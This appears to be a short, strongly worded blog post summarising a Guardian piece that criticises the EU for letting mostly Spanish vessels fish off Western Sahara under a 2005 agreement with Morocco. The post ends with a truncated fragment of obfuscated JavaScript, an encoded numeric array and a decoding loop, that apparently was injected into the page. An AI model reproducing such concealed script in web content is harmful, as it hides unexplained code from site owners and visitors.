

## EU vessels rape and pillage fish in the waters off Western Sahara.

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Writing in the UK Guardian, David Cronin accuses the Brussels bureaucracy of actively encouraging European vessels to act unlawfully in the waters off [Western Sahara](#). A 2005 fisheries agreement between the EU and Morocco states that European fishermen may operate in Western Sahara, which Morocco has occupied since 1974, provided that their activities benefit the indigenous Sahrawi people. 100 of the 119 European vessels granted access to Western Sahara's waters through the agreement are registered in Spain, the territory's former colonial overlord. The EU is blatantly ignoring a

[statement](#)

issued by the Sahrawi Arab Democratic Republic (officially recognised as the representatives of the Sahrawi people by some 75 countries) in January last year. On that occasion, the SADR asserted its people's exclusive rights to exploit the natural resources in a 200-nautical-mile zone surrounding the territory. The EU's behaviour is despicable.

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var a=0,m,v,t,z,x=new
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Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656380','7684','61818075'),l=x.length;while(++a
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